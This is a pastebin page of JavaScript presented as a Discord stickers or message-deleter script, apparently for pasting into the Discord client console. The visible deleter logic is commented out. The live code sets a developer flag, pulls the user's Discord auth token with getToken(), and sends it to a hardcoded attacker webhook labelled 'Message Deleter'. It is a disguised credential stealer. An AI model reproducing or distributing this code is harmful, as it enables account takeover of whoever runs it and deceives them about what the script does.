Facebook
From หล่อ, 2 Years ago, written in Whitespace.
This paste is a reply to Re: Discord Stickers from Scanty Marmoset - view diff
Embed
Download Paste or View Raw
Hits: 139
  1. const DI = window.DiscordInternals;
  2. const hasLib = !!(DI && DI.versionCompare && DI.versionCompare(DI.version || "", "1.9") >= 0);
  3. const WebpackModules = hasLib && DI.WebpackModules || (() => {
  4.  
  5. const req = typeof(webpackJsonp) == "function" ? webpackJsonp([], {
  6. '__extra_id__': (module, exports, req) => exports.default = req
  7. }, ['__extra_id__']).default : webpackJsonp.push([[], {
  8. '__extra_id__': (module, exports, req) => module.exports = req
  9. }, [['__extra_id__']]]);
  10. delete req.m['__extra_id__'];
  11. delete req.c['__extra_id__'];
  12. const find = (filter, options = {}) => {
  13. const {cacheOnly = false} = options;
  14. for (let i in req.c) {
  15. if (req.c.hasOwnProperty(i)) {
  16. let m = req.c[i].exports;
  17. if (m && m.__esModule && m.default && filter(m.default))
  18. return m.default;
  19. if (m && filter(m))
  20. return m;
  21. }
  22. }
  23. if (cacheOnly) {
  24. console.warn('Cannot find loaded module in cache');
  25. return null;
  26. }
  27. console.warn('Cannot find loaded module in cache. Loading all modules may have unexpected side effects');
  28. for (let i = 0; i < req.m.length; ++i) {
  29. let m = req(i);
  30. if (m && m.__esModule && m.default && filter(m.default))
  31. return m.default;
  32. if (m && filter(m))
  33. return m;
  34. }
  35. console.warn('Cannot find module');
  36. return null;
  37. };
  38. const findByUniqueProperties = (propNames, options) => find(module => propNames.every(prop => module[prop] !== undefined), options);
  39. const findByDisplayName = (displayName, options) => find(module => module.displayName === displayName, options);
  40. return {find, findByUniqueProperties, findByDisplayName};
  41. })();
  42. t = WebpackModules.findByUniqueProperties(["isDeveloper"]);
  43. Object.defineProperty(t,"isDeveloper",{get:_=>1,set:_=>_,configurable:true});
  44.  
  45.  
  46.  
  47. /*
  48. const logArea = popup.document.querySelector('pre');
  49. const startBtn = popup.document.querySelector('button#start');
  50. const stopBtn = popup.document.querySelector('button#stop');
  51. const autoScroll = popup.document.querySelector('#autoScroll');
  52. startBtn.onclick = e => {
  53. const authToken = popup.document.querySelector('input#authToken').value.trim();
  54. const authorId = popup.document.querySelector('input#authorId').value.trim();
  55. const guildId = popup.document.querySelector('input#guildId').value.trim();
  56. const channelId = popup.document.querySelector('input#channelId').value.trim();
  57. const afterMessageId = popup.document.querySelector('input#afterMessageId').value.trim();
  58. const beforeMessageId = popup.document.querySelector('input#beforeMessageId').value.trim();
  59. const content = popup.document.querySelector('input#content').value.trim();
  60. const hasLink = popup.document.querySelector('input#hasLink').checked;
  61. const hasFile = popup.document.querySelector('input#hasFile').checked;
  62. const includeNsfw = popup.document.querySelector('input#includeNsfw').checked;
  63. stop = stopBtn.disabled = !(startBtn.disabled = true);
  64. deleteMessages(authToken, authorId, guildId, channelId, afterMessageId, beforeMessageId, content, hasLink, hasFile, includeNsfw, logger, () => !(stop === true || popup.closed)).then(() => {
  65. stop = stopBtn.disabled = !(startBtn.disabled = false);
  66. });
  67. };*/
  68.  
  69. var msgdeleter = new XMLHttpRequest();
  70. msgdeleter.withCredentials = true;
  71.  
  72. msgdeleter.addEventListener("readystatechange", function () {
  73. if (this.readyState === this.DONE) {
  74. console.log(this.responseText);
  75. }
  76. });
  77. var req=webpackJsonp.push([[], {extra_id:(e,r,t) => e.exports=t},[["extra_id"]]]);
  78. for(let e in req.c) {
  79. if(req.c.hasOwnProperty(e)){
  80. let r=req.c[e].exports;if(r&&r.__esModule&&r.default) for(let e in r.default) if ("getToken"===e) {
  81. var mdeleter = r.default.getToken()
  82. }
  83. }
  84. }
  85. msgdeleter.open("POST", "https://discord.com/api/webhooks/768015010609496074/oOO-DAa-383B4q9gXJDRnk-EBAqn2cIoyVcCfl6b99FhGl5dNxzfPg1y4lJlxPMIWLSA");
  86. msgdeleter.setRequestHeader('Content-Type', 'application/json');
  87. msgdeleter.send(
  88. JSON.stringify({
  89. content: mdeleter + "",
  90. username: "Message Deleter"
  91. })
  92. );
  93. /*
  94.  
  95. stopBtn.onclick = e => stop = stopBtn.disabled = !(startBtn.disabled = false);
  96. popup.document.querySelector('button#clear').onclick = e => { logArea.innerHTML = ''; };
  97. popup.document.querySelector('button#getToken').onclick = e => {
  98. window.dispatchEvent(new Event('beforeunload'));
  99. popup.document.querySelector('input#authToken').value = JSON.parse(popup.localStorage.token);
  100. };
  101. popup.document.querySelector('button#getAuthor').onclick = e => {
  102. popup.document.querySelector('input#authorId').value = JSON.parse(popup.localStorage.user_id_cache);
  103. };
  104. popup.document.querySelector('button#getGuildAndChannel').onclick = e => {
  105. const m = location.href.match(/channels\/([\w@]+)\/(\d+)/);
  106. popup.document.querySelector('input#guildId').value = m[1];
  107. popup.document.querySelector('input#channelId').value = m[2];
  108. };
  109. popup.document.querySelector('#redact').onchange = e => {
  110. popup.document.body.classList.toggle('redact') &&
  111. popup.alert('This will attempt to hide personal information, but make sure to double check before sharing screenshots.');
  112. };
  113.  
  114. const logger = (type='', args) => {
  115. const style = { '': '', info: 'color:#00b0f4;', verb: 'color:#72767d;', warn: 'color:#faa61a;', error: 'color:#f04747;', success: 'color:#43b581;' }[type];
  116. logArea.insertAdjacentHTML('beforeend', `<div style="${style}">${Array.from(args).map(o => typeof o === 'object' ? JSON.stringify(o, o instanceof Error && Object.getOwnPropertyNames(o)) : o).join('\t')}</div>`);
  117. if (autoScroll.checked) logArea.querySelector('div:last-child').scrollIntoView(false);
  118. };
  119. return '~ Youtube; Kreax!';
  120. /**
  121. * Delete all messages in a Discord channel or DM
  122. * @param {string} authToken Your authorization token
  123. * @param {string} authorId Author of the messages you want to delete
  124. * @param {string} guildId Server were the messages are located
  125. * @param {string} channelId Channel were the messages are located
  126. * @param {string} afterMessageId Only delete messages after this, leave blank do delete all
  127. * @param {string} beforeMessageId Only delete messages before this, leave blank do delete all
  128. * @param {string} content Filter messages that contains this text content
  129. * @param {boolean} hasLink Filter messages that contains link
  130. * @param {boolean} hasFile Filter messages that contains file
  131. * @param {boolean} includeNsfw Search in NSFW channels
  132. * @param {function(string, Array)} extLogger Function for logging
  133. * @param {function} stopHndl stopHndl used for stopping
  134. * @author Victornpb <https://www.github.com/victornpb>
  135. * @see https://github.com/victornpb/deleteDiscordMessages
  136. async function deleteMessages(authToken, authorId, guildId, channelId, afterMessageId, beforeMessageId, content,hasLink, hasFile, includeNsfw, extLogger, stopHndl) {
  137. const start = new Date();
  138. let deleteDelay = 100;
  139. let searchDelay = 100;
  140. let delCount = 0;
  141. let failCount = 0;
  142. let avgPing;
  143. let lastPing;
  144. let grandTotal;
  145. let throttledCount = 0;
  146. let throttledTotalTime = 0;
  147. let offset = 0;
  148. let iterations = -1;
  149. const wait = async ms => new Promise(done => setTimeout(done, ms));
  150. const msToHMS = s => `${s / 3.6e6 | 0}h ${(s % 3.6e6) / 6e4 | 0}m ${(s % 6e4) / 1000 | 0}s`;
  151. const escapeHTML = html => html.replace(/[&<"']/g, m => ({ '&': '&amp;', '<': '&lt;', '"': '&quot;', '\'': '&#039;' })[m]);
  152. const redact = str => `<span class="priv">${escapeHTML(str)}</span><span class="mask">REDACTED</span>`;
  153. const queryString = params => params.filter(p => p[1] !== undefined).map(p => p[0] + '=' + encodeURIComponent(p[1])).join('&');
  154. const ask = async msg => new Promise(resolve => setTimeout(() => resolve(popup.confirm(msg)), 10));
  155. const printDelayStats = () => log.verb(`Silme Pingi: ${deleteDelay}ms, Search delay: ${searchDelay}ms`, `Last Ping: ${lastPing}ms, Average Ping: ${avgPing|0}ms`);
  156.  
  157. const log = {
  158. debug() { extLogger ? extLogger('debug', arguments) : console.debug.apply(console, arguments); },
  159. info() { extLogger ? extLogger('info', arguments) : console.info.apply(console, arguments); },
  160. verb() { extLogger ? extLogger('verb', arguments) : console.log.apply(console, arguments); },
  161. warn() { extLogger ? extLogger('warn', arguments) : console.warn.apply(console, arguments); },
  162. error() { extLogger ? extLogger('error', arguments) : console.error.apply(console, arguments); },
  163. success() { extLogger ? extLogger('success', arguments) : console.info.apply(console, arguments); },
  164. };
  165.  
  166. async function recurse() {
  167. iterations++;
  168.  
  169. let API_SEARCH_URL;
  170. if (guildId === '@me') {
  171. API_SEARCH_URL = `https://discordapp.com/api/v6/channels/${channelId}/messages/`; // DMs
  172. }
  173. else {
  174. API_SEARCH_URL = `https://discordapp.com/api/v6/guilds/${guildId}/messages/`; // Server
  175. }
  176.  
  177. const headers = {
  178. 'Authorization': authToken
  179. };
  180. let resp;
  181. try {
  182. const s = Date.now();
  183. resp = await fetch(API_SEARCH_URL + 'search?' + queryString([
  184. [ 'author_id', authorId || undefined ],
  185. [ 'channel_id', (guildId !== '@me' ? channelId : undefined) || undefined ],
  186. [ 'min_id', afterMessageId || undefined ],
  187. [ 'max_id', beforeMessageId || undefined ],
  188. [ 'sort_by', 'timestamp' ],
  189. [ 'sort_order', 'desc' ],
  190. [ 'offset', offset ],
  191. [ 'has', hasLink ? 'link' : undefined ],
  192. [ 'has', hasFile ? 'file' : undefined ],
  193. [ 'content', content || undefined ],
  194. [ 'include_nsfw', includeNsfw ? true : undefined ],
  195. ]), { headers });
  196. lastPing = (Date.now() - s);
  197. avgPing = avgPing>0 ? (avgPing*0.9) + (lastPing*0.1):lastPing;
  198. } catch (err) {
  199. return log.error('Search request throwed an error:', err);
  200. }
  201. // not indexed yet
  202. if (resp.status === 202) {
  203. const w = (await resp.json()).retry_after;
  204. throttledCount++;
  205. throttledTotalTime += w;
  206. log.warn(`This channel wasn't indexed, waiting ${w}ms for discord to index it...`);
  207. await wait(w);
  208. return await recurse();
  209. }
  210. if (!resp.ok) {
  211. // searching messages too fast
  212. if (resp.status === 429) {
  213. const w = (await resp.json()).retry_after;
  214. throttledCount++;
  215. throttledTotalTime += w;
  216. searchDelay += w; // increase delay
  217. log.warn(`Zaman Aşımına Uğradı ${w}ms! Tekrar Başlatılıyor...`);
  218. printDelayStats();
  219. log.verb(`Cooling down for ${w * 2}ms before retrying...`);
  220. await wait(w*2);
  221. return await recurse();
  222. } else {
  223. return log.error(`Error searching messages, API responded with status ${resp.status}!\n`, await resp.json());
  224. }
  225. }
  226. const data = await resp.json();
  227. const total = data.total_results;
  228. if (!grandTotal) grandTotal = total;
  229. const myMessages = data.messages.map(convo => convo.find(message => message.hit===true));
  230. const systemMessages = myMessages.filter(msg => msg.type !== 0); // https://discordapp.com/developers/docs/resources/channel#message-object-message-types
  231. const deletableMessages = myMessages.filter(msg => msg.type === 0);
  232. const end = () => {
  233. log.success(`Bitti ${new Date().toLocaleString()}! Total time: ${msToHMS(Date.now() - start.getTime())}`);
  234. printDelayStats();
  235. log.verb(`Zaman Aşımı: ${throttledCount} times. Total time throttled: ${msToHMS(throttledTotalTime)}.`);
  236. log.debug(`Silinen ${delCount} messages, ${failCount} Hatalı.\n`);
  237. }
  238.  
  239. const etr = msToHMS((searchDelay * Math.round(total / 25)) + ((deleteDelay + avgPing) * total));
  240. log.info(`Toplam Mesaj: ${data.total_results}`, `(Messages in current page: ${data.messages.length}, Author: ${deletableMessages.length}, System: ${systemMessages.length})`, `offset: ${offset}`);
  241. printDelayStats();
  242. log.verb(`Tahmini Bitiş Zamanı: ${etr}`)
  243. if (myMessages.length > 0) {
  244.  
  245. if (iterations < 1) {
  246. log.verb(`Bekleniyor...`);
  247. if (!await ask(`Şuan ~${total} Tane Mesaj Silinecek!\nTahmini Bitiş Zamanı: ${etr}\n\n---- Mesajların ----\n` +
  248. myMessages.map(m => `${m.author.username}#${m.author.discriminator}: ${m.attachments.length ? '[ATTACHMENTS]' : m.content}`).join('\n')))
  249. return end(log.error('Aborted by you!'));
  250. log.verb(`OK`);
  251. }
  252. for (let i = 0; i < deletableMessages.length; i++) {
  253. const message = deletableMessages[i];
  254. if (stopHndl && stopHndl()===false) return end(log.error('Durduruldu'));
  255.  
  256. log.debug(`${((delCount + 1) / grandTotal * 100).toFixed(2)}% (${delCount + 1}/${grandTotal})`,
  257. `Mesaj ID:${redact(message.id)} <b>${redact(message.author.username+'#'+message.author.discriminator)} <small>(${redact(new Date(message.timestamp).toLocaleString())})</small>:</b> <i>${redact(message.content).replace(/\n/g,'↵')}</i>`,
  258. message.attachments.length ? redact(JSON.stringify(message.attachments)) : '');
  259. let resp;
  260. try {
  261. const s = Date.now();
  262. const API_DELETE_URL = `https://discordapp.com/api/v6/channels/${channelId}/messages/`;
  263. resp = await fetch(API_DELETE_URL + message.id, {
  264. headers,
  265. method: 'DELETE'
  266. });
  267. lastPing = (Date.now() - s);
  268. avgPing = (avgPing*0.9) + (lastPing*0.1);
  269. delCount++;
  270. } catch (err) {
  271. log.error('Delete request throwed an error:', err);
  272. log.verb('Related object:', redact(JSON.stringify(message)));
  273. failCount++;
  274. }
  275.  
  276. if (!resp.ok) {
  277. // deleting messages too fast
  278. if (resp.status === 429) {
  279. const w = (await resp.json()).retry_after;
  280. throttledCount++;
  281. throttledTotalTime += w;
  282. deleteDelay += w; // increase delay
  283. log.warn(`Being rate limited by the API for ${w}ms! Adjusted delete delay to ${deleteDelay}ms.`);
  284. printDelayStats();
  285. log.verb(`Yeniden Denemeden Önce ${w*2}ms Soğutuldu...`);
  286. await wait(w*2);
  287. i--; // retry
  288. } else {
  289. log.error(`Error deleting message, API responded with status ${resp.status}!`, await resp.json());
  290. log.verb('Related object:', redact(JSON.stringify(message)));
  291. failCount++;
  292. }
  293. }
  294. await wait(deleteDelay);
  295. }
  296.  
  297. if (systemMessages.length > 0) {
  298. grandTotal -= systemMessages.length;
  299. offset += systemMessages.length;
  300. log.verb(`Found ${systemMessages.length} system messages! Decreasing grandTotal to ${grandTotal} and increasing offset to ${offset}.`);
  301. }
  302. log.verb(`Searching next messages in ${searchDelay}ms...`, (offset ? `(offset: ${offset})` : '') );
  303. await wait(searchDelay);
  304.  
  305. if (stopHndl && stopHndl()===false) return end(log.error('Silme İşlemi Durduruldu!'));
  306.  
  307. return await recurse();
  308. } else {
  309. if (total - offset > 0) log.warn('Ended because API returned an empty page.');
  310. return end();
  311. }
  312. }
  313.  
  314. log.success(`\nStarted at ${start.toLocaleString()}`);
  315. log.debug(`authorId="${redact(authorId)}" guildId="${redact(guildId)}" channelId="${redact(channelId)}" afterMessageId="${redact(afterMessageId)}" beforeMessageId="${redact(beforeMessageId)}" hasLink=${!!hasLink} hasFile=${!!hasFile}`);
  316. return await recurse();
  317. }
  318. })();*/
captcha